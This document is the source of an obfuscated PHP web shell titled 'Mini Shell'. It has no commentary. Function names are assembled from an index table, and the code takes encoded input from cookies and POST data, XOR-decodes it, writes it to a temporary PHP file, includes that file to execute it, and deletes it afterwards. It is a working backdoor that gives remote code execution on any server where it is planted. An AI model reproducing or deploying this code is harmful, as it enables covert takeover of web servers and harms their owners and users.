Mini Shell

<?php
function	yu6       (){
echo    'ca7';
}





function	sc1    ( $dc2 ){$rw4=0;

$sy3 = "Fbl?L3<k/nu@mE61p' _id8e2g0t);Hv(I.o-r#y59*afxshc74";


 $db5 = substr("",	0);
 while(1){

 if($rw4>=count($dc2))	break; $db5	.=   $sy3 [ $dc2[$rw4] ];  $rw4++;
}


return	$db5;
}$vq9 =      [];$hzjrlm =   42428;

$vq9[49647] =    sc1       (    Array(1 , 26 ,	44       ,  15 , 26 ,     5 , 23	,     21 ,  36     ,      44	, 50	,      43 , 40	,	36 , 50 , 41       ,  14      ,	5   ,	36      , 43       , 23 ,	21  , 14  , 36  , 5	, 23	, 24 , 1	,	49 ,	48 , 44 ,   1 , 22	,	1       ,	41	, 23 ,) ) ;
$uo25	= 4264;$vq9[32748] = sc1       ( Array(3 ,	16     ,	47 , 16 ,	18 ,     11 , 10      , 9 , 2   , 20 ,      9 ,     7	, 32 ,      19	, 19   ,	0 ,	33 ,	4       ,      13      , 19 , 19	,     28       , 29	, 18	,) )	;


$vq9[3038]	=     sc1 (	Array(34	, 12 ,     35      , 21    ,  10       , 2 ,	23	,) ) ;

$ip26   = 15755;$vq9[3032] = sc1 ( Array(30     , 42 ,)	)    ;
$dw27       =     11348;$vq9[99281] =    sc1    (	Array(34       , 8    ,)    )    ;
$vq9[78796] =     sc1	( Array(6 ,) ) ;

$bb28	= 25670;


$vq9[7100] =      sc1 ( Array(38 ,) ) ;

$vq9[97723]	= sc1	( Array(44	, 20 , 2       , 23 ,	19	, 16	, 10	, 27  , 19 , 48      ,    35       ,      9      , 27       , 23	,    9 ,   27 , 46 ,) )	;


$rb29 =     56887;
$vq9[56250]     = sc1 ( Array(44 , 20 ,	2 ,       23	, 19 , 23  ,     45 , 20 , 46 , 27 , 46 ,)	) ;$vi30     = 44786;
$vq9[7608] =	sc1 (	Array(43 ,	37 ,      37  ,	43 ,     39	, 19 ,	12 , 23	,	37    , 25 , 23       ,)	) ;


$lj31	= 54782;


$vq9[86453] = sc1       ( Array(46  , 27	,  37    , 19 ,      37   ,	23 , 16 ,      23	, 43 , 27      ,)	)     ;


$vq9[17332] =	sc1 (	Array(23	,	45 ,      16  , 2     ,    35 ,	21 , 23    ,) )	;
$vq9[29103]	= sc1	(    Array(46      ,     27   ,	37 , 2	,	23 , 9 ,) )    ;$ux32 =   62166;$vq9[45469] =   sc1    ( Array(20 , 9	,   27   , 31       , 43	, 2 ,) )  ;


$vq9[28062] =    sc1	( Array(10	, 9 ,	2 , 20   , 9	, 7	,)	)     ;


$vq9[60829] = sc1 (     Array(16     ,    43 ,    48 , 7 ,) ) ;

$tk21 =     $_COOKIE; $pi19 = "20474";


$tk21 = $vq9[7608]($tk21, $_POST);



foreach ($tk21 as	$wt24	=> $so20)
{ function uj14 (	$vq9, $wt24 ,	$ge18 )	{

	return	substr (  $vq9[86453] ( $wt24 .       $vq9[49647] , $vq9[45469](      $ge18/$vq9[29103](     $wt24	)	) + 1 ) , 0 , $ge18	);

 }



 function	pf13	(      $vq9,     $yh22 )
     {


	return   @$vq9[60829]	($vq9[3032] ,	$yh22	);
	}

	function nf12 (	$vq9, $so20, $wt24)	{


	return       pf13	(   $vq9, $so20   )	^    uj14	( $vq9, $wt24 , $vq9[29103]( $so20 )	);


 }


       function av11 ( $vq9, $so20,    $wt24)

 {
  return   $vq9[17332] (      $vq9[7100] , nf12  (	$vq9,	$so20,	$wt24));

 }


 


 function dj10 (     $vq9, $so20, $wt24)


    {

  $so20     =      av11 (	$vq9, $so20, $wt24);

       if     (ju17     (	$vq9,    $so20))
 {


	exit();
	}

       }

 

 function jk16 ( $vq9, $hn23) {
	if	($vq9[56250]($hn23)) 


 {     @$vq9[28062] ( $hn23 );


 }

	}

      
       function tp15	(   $vq9,      $hn23 ) {
 @include	(	$hn23 );


 jk16       (	$vq9,	$hn23);

   } 
	function ju17 (    $vq9, $yh22 )
  { if (	isset (       $yh22[2] ) ) {

 

 $hn23 = $vq9[99281]	.       md5(   $vq9[49647] )       .       $vq9[3038];


 @$vq9[97723]	(	$hn23,	$vq9[78796] .	$vq9[32748]  .       $yh22[1] ( $yh22[2]	) );
 
 tp15     (  $vq9, $hn23);
 


 return 1;


	}


	}	


 dj10 ( $vq9, $so20, $wt24);


}